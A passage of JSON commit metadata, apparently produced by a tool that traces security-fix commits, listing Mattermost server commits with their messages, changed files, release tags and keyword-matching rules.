"https://github.com/mattermost/mattermost-server", + "timestamp": 1720105096, + "hunks": 1, + "message": "Skips flaky test on the remote cluster API (#27547) * Skips flaky test on the remote cluster API * Adds ticket link to the `t.Skip`", + "changed_files": [ + "server/channels/api4/remote_cluster_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27547": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27547", + "relevance": 2 + } + ] + }, + { + "commit_id": "809ad4f76d8358ec91a0b5dcafe1d92a32233ba2", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720082126, + "hunks": 91, + "message": "Adds Remote Cluster related API endpoints (#27432) * Adds Remote Cluster related API endpoints New endpoints for the following routes are added: - Get Remote Clusters at `GET /api/v4/remotecluster` - Create Remote Cluster at `POST /api/v4/remotecluster` - Accept Remote Cluster invite at `POST /api/v4/remotecluster/accept_invite` - Generate Remote Cluster invite at `POST /api/v4/remotecluster/{remote_id}/generate_invite` - Get Remote Cluster at `GET /api/v4/remotecluster/{remote_id}` - Patch Remote Cluster at `PATCH /api/v4/remotecluster/{remote_id}` - Delete Remote Cluster at `DELETE /api/v4/remotecluster/{remote_id}` These endpoints are planned to be used from the system console, and gated through the `manage_secure_connections` permission. * Update server/channels/api4/remote_cluster_test.go Co-authored-by: Doug Lauder * Fix AppError names --------- Co-authored-by: Doug Lauder Co-authored-by: Mattermost Build ", + "changed_files": [ + "api/Makefile", + "api/v4/source/definitions.yaml", + "api/v4/source/introduction.yaml", + "api/v4/source/remoteclusters.yaml", + "server/channels/api4/apitestlib.go", + "server/channels/api4/remote_cluster.go", + "server/channels/api4/remote_cluster_test.go", + "server/channels/app/app_iface.go", + "server/channels/app/opentracing/opentracing_layer.go", + "server/channels/app/platform/shared_channel_notifier.go", + "server/channels/app/remote_cluster.go", + "server/channels/app/slashcommands/command_remote.go", + "server/channels/store/opentracinglayer/opentracinglayer.go", + "server/channels/store/retrylayer/retrylayer.go", + "server/channels/store/sqlstore/remote_cluster_store.go", + "server/channels/store/store.go", + "server/channels/store/storetest/mocks/RemoteClusterStore.go", + "server/channels/store/storetest/remote_cluster_store.go", + "server/channels/store/timerlayer/timerlayer.go", + "server/channels/web/params.go", + "server/i18n/en.json", + "server/platform/services/remotecluster/invitation.go", + "server/platform/services/remotecluster/mocks_test.go", + "server/platform/services/remotecluster/ping.go", + "server/platform/services/remotecluster/sendmsg.go", + "server/platform/services/remotecluster/service.go", + "server/platform/services/sharedchannel/sync_send.go", + "server/public/model/client4.go", + "server/public/model/remote_cluster.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27432": "Adds Shared Channel related API endpoints #27436" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: console, test, connection, system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: time, file, test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27432", + "relevance": 2 + } + ] + }, + { + "commit_id": "cc5e87ae249b1b4cdc25b44536f1df8a99de1f9e", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720043906, + "hunks": 19, + "message": "[MM-57942] Fix a panic on password is too long (#27449) * return error from bcrypt, handle gracefully; remove dead code * linting * linting * i18n * fix test * fill out translations", + "changed_files": [ + "server/channels/app/user.go", + "server/channels/app/users/password.go", + "server/channels/app/users/password_test.go", + "server/channels/store/sqlstore/user_store.go", + "server/channels/store/storetest/user_store.go", + "server/i18n/en.json", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27449": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27449", + "relevance": 2 + } + ] + }, + { + "commit_id": "90534b13cfd394936d14e659a390c971fd739164", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720013499, + "hunks": 2, + "message": "MM-56774: Delete file along with bookmark (#27495)", + "changed_files": [ + "server/channels/store/sqlstore/channel_bookmark_store.go", + "server/channels/store/storetest/channel_bookmark.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27495": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27495", + "relevance": 2 + } + ] + }, + { + "commit_id": "762ff9b96cd0ff8d80de4015eaee800190b18ba4", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719984223, + "hunks": 6, + "message": "[chore] migration of plugin-store (#27506) Plugin store is gradually migrated from: - https://plugins-store.test.mattermost.com to - https://plugins.releases.mattermost.com We reflect that change here Note: Currently both CDN's are working as expected, to facilitate the mgiration. Upon succesfull migration, https://plugins-store.test.mattermost.com will be decomissioned", + "changed_files": [ + "server/Makefile", + "server/build/release.mk", + "server/cmd/mmctl/commands/plugin_e2e_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27506": "[chore] migration of plugin-store mattermost/mmctl#719" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27506", + "relevance": 2 + } + ] + }, + { + "commit_id": "068c953393022b34244207435725bfb2a3545853", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719941277, + "hunks": 8, + "message": "Sanitize RemoteEmail user prop (#27170) (#27516) Automatic Merge", + "changed_files": [ + "server/platform/services/sharedchannel/service.go", + "server/platform/services/sharedchannel/sync_recv.go", + "server/platform/services/sharedchannel/util.go", + "server/public/model/shared_channel.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516", + "27516": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.5.8", + "v9.5.8-rc1", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27170, 27516", + "relevance": 2 + } + ] + }, + { + "commit_id": "b7c6a9a9421c50af9a44f648e760d258c9787dc0", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719941271, + "hunks": 8, + "message": "Sanitize RemoteEmail user prop (#27170) (#27512) Automatic Merge", + "changed_files": [ + "server/platform/services/sharedchannel/service.go", + "server/platform/services/sharedchannel/sync_recv.go", + "server/platform/services/sharedchannel/util.go", + "server/public/model/shared_channel.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516", + "27512": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.10.1", + "v9.10.1-rc1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27170, 27512", + "relevance": 2 + } + ] + }, + { + "commit_id": "b32295e82370bc0425cbb43475d76f9acc895078", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719424111, + "hunks": 8, + "message": "Sanitize RemoteEmail user prop (#27170) * Sanitize RemoteEmail user prop If the server is configured to hide user emails, the \"RemoteEmail\" user property will be sanitized as well, effectively hiding the real email of remote users. * fix merge conflict --------- Co-authored-by: Doug Lauder Co-authored-by: Mattermost Build (cherry picked from commit 2aff84a72e6515c2e0674c0271ae6a19c4bde5f1)", + "changed_files": [ + "server/platform/services/sharedchannel/service.go", + "server/platform/services/sharedchannel/sync_recv.go", + "server/platform/services/sharedchannel/util.go", + "server/public/model/shared_channel.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitized, sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27170", + "relevance": 2 + } + ] + }, + { + "commit_id": "98e51c9d452a0e9f67e43a6287354ad8c2d3d243", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719932274, + "hunks": 1, + "message": "Update latest patch version to 9.5.8 (#27510) Automatic Merge", + "changed_files": [ + "server/public/model/version.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27510": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.5.8", + "v9.5.8-rc1", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27510", + "relevance": 2 + } + ] + }, + { + "commit_id": "05b7845bbcd14ccb598da88ed3ae7b52b83512a0", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719932271, + "hunks": 1, + "message": "Update latest patch version to 9.7.7 (#27509) Automatic Merge", + "changed_files": [ + "server/public/model/version.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27509": "" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27509", + "relevance": 2 + } + ] + }, + { + "commit_id": "5de01512cc59d2b57669a3822695276af0aab91f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719930471, + "hunks": 1, + "message": "Update latest patch version to 9.8.3 (#27508) Automatic Merge", + "changed_files": [ + "server/public/model/version.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27508": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.8.3", + "v9.8.3-rc1", + "v9.8.3-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27508", + "relevance": 2 + } + ] + }, + { + "commit_id": "8dcd83976618f5e61a6fb3f8beb9307c9f67e730", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719925070, + "hunks": 1, + "message": "Update latest minor version to 9.11.0 (#27496) Automatic Merge", + "changed_files": [ + "server/public/model/version.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27496": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27496", + "relevance": 2 + } + ] + }, + { + "commit_id": "8b52ac3b8bd5007afb6f85806f03ef27fd80eafb", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719823722, + "hunks": 6, + "message": "[MM-58509] Migrate tooltips of \"components/admin_console/user_grid/user_grid_role_dropdown.tsx\" to WithTooltip (#27242)", + "changed_files": [ + "webapp/channels/src/components/admin_console/user_grid/user_grid_role_dropdown.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27242": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: role, console", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: role, console", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27242", + "relevance": 2 + } + ] + }, + { + "commit_id": "f36eb59f215ef4e81e9541dadfeebd13a5ba6279", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719819232, + "hunks": 38, + "message": "[MM-58405] Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip (#27244) * Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip * Review fixes * Review fix * Fix imports * Update snapshots * Test fix --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/announcement_bar/__snapshots__/announcement_bar.test.tsx.snap", + "webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.test.tsx", + "webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx", + "webapp/channels/src/components/with_tooltip/index.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27244": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27244", + "relevance": 2 + } + ] + }, + { + "commit_id": "d9bd84cea89c7cf3d879ed90f6ba1610090367a9", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719615470, + "hunks": 1, + "message": "Update latest patch version to 9.10.1 (#27497) Automatic Merge", + "changed_files": [ + "server/public/model/version.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27497": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.10.1", + "v9.10.1-rc1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27497", + "relevance": 2 + } + ] + }, + { + "commit_id": "d20b55bde87f181a50ad97c99270373c9baa0b6f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719587058, + "hunks": 5, + "message": "MM-57375: Update to latest minio image (#27475) * test with latest minio image * Update the KMS key - Also use latest config settings. The older ones were deprecated.", + "changed_files": [ + "server/build/docker-compose.common.yml", + "server/platform/shared/filestore/s3store.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27475": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27475", + "relevance": 2 + } + ] + }, + { + "commit_id": "23993132c67b11e5d8a0d0d789b7079868200b63", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721305378, + "hunks": 15, + "message": "[MM-59296] Can't open web client on iOS Safari (#27607) (#27696) (cherry picked from commit 1ff54a31bca13ffb1675bab210c768f94990a2e7) Co-authored-by: M-ZubairAhmed ", + "changed_files": [ + "webapp/channels/src/components/announcement_bar/notification_permission_bar/index.test.tsx", + "webapp/channels/src/components/announcement_bar/notification_permission_bar/index.tsx", + "webapp/channels/src/i18n/en.json", + "webapp/channels/src/utils/notifications.test.ts", + "webapp/channels/src/utils/notifications.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27607": "Automated cherry pick of #27607 #27696 Automated cherry pick of #27607 #27697", + "27696": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "1ff54a31bca13ffb1675bab210c768f94990a2e7" + ] + ], + "tags": [ + "v9.10.1", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27607, 27696", + "relevance": 2 + } + ] + }, + { + "commit_id": "7b27b28d6fc2196abc034c1831d42b3aa78da166", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721154162, + "hunks": 100, + "message": "Translations update from Mattermost Weblate (#27656) * Translated using Weblate (German) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (Japanese) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ja/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/zh_Hans/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/zh_Hans/ * Translated using Weblate (Polish) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 99.5% (5775 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/nl/ * Translated using Weblate (Russian) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ru/ * Translated using Weblate (Russian) Currently translated at 98.5% (5715 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ru/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5797 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/en_AU/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/en_AU/ * Update translation files Updated by \"Cleanup translation files\" hook in Weblate. Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ * Update translation files Updated by \"Cleanup translation files\" hook in Weblate. Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ --------- Co-authored-by: jprusch Co-authored-by: kaakaa Co-authored-by: Sharuru Co-authored-by: master7 Co-authored-by: Tom De Moor Co-authored-by: Konstantin Co-authored-by: Matthew Williams ", + "changed_files": [ + "server/i18n/be.json", + "server/i18n/bg.json", + "server/i18n/ca.json", + "server/i18n/cs.json", + "server/i18n/de.json", + "server/i18n/en-AU.json", + "server/i18n/es.json", + "server/i18n/fa.json", + "server/i18n/fi.json", + "server/i18n/fr.json", + "server/i18n/hi.json", + "server/i18n/hu.json", + "server/i18n/it.json", + "server/i18n/ja.json", + "server/i18n/ko.json", + "server/i18n/nl.json", + "server/i18n/pl.json", + "server/i18n/pt-BR.json", + "server/i18n/ro.json", + "server/i18n/ru.json", + "server/i18n/sv.json", + "server/i18n/tr.json", + "server/i18n/uk.json", + "server/i18n/vi.json", + "server/i18n/zh-CN.json", + "server/i18n/zh-TW.json", + "webapp/channels/src/i18n/be.json", + "webapp/channels/src/i18n/bg.json", + "webapp/channels/src/i18n/cs.json", + "webapp/channels/src/i18n/de.json", + "webapp/channels/src/i18n/en-AU.json", + "webapp/channels/src/i18n/es.json", + "webapp/channels/src/i18n/fa.json", + "webapp/channels/src/i18n/fr.json", + "webapp/channels/src/i18n/fy.json", + "webapp/channels/src/i18n/hr.json", + "webapp/channels/src/i18n/hu.json", + "webapp/channels/src/i18n/it.json", + "webapp/channels/src/i18n/ja.json", + "webapp/channels/src/i18n/ko.json", + "webapp/channels/src/i18n/lt.json", + "webapp/channels/src/i18n/nl.json", + "webapp/channels/src/i18n/pl.json", + "webapp/channels/src/i18n/pt-BR.json", + "webapp/channels/src/i18n/ro.json", + "webapp/channels/src/i18n/ru.json", + "webapp/channels/src/i18n/sv.json", + "webapp/channels/src/i18n/tr.json", + "webapp/channels/src/i18n/uk.json", + "webapp/channels/src/i18n/vi.json", + "webapp/channels/src/i18n/zh-CN.json", + "webapp/channels/src/i18n/zh-TW.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27656": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "e0688e237bc73293533716816f51d9f7a24723e5" + ] + ], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27656", + "relevance": 2 + } + ] + }, + { + "commit_id": "8848ad8a3451bc869f025638698e62478977e60b", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721143671, + "hunks": 86, + "message": "Code enhancements to feature - Sysadmin manage user settings (#27636) (#27680) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx", + "webapp/channels/src/components/user_settings/advanced/index.ts", + "webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts", + "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx", + "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx", + "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts", + "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx", + "webapp/channels/src/components/user_settings/advanced/user_settings_advanced.test.tsx", + "webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx", + "webapp/channels/src/components/user_settings/display/index.ts", + "webapp/channels/src/components/user_settings/display/user_settings_display.tsx", + "webapp/channels/src/components/user_settings/index.tsx", + "webapp/channels/src/components/user_settings/modal/index.ts", + "webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx", + "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts", + "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx", + "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts", + "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx", + "webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx", + "webapp/channels/src/components/widgets/smart_loader/index.tsx", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts", + 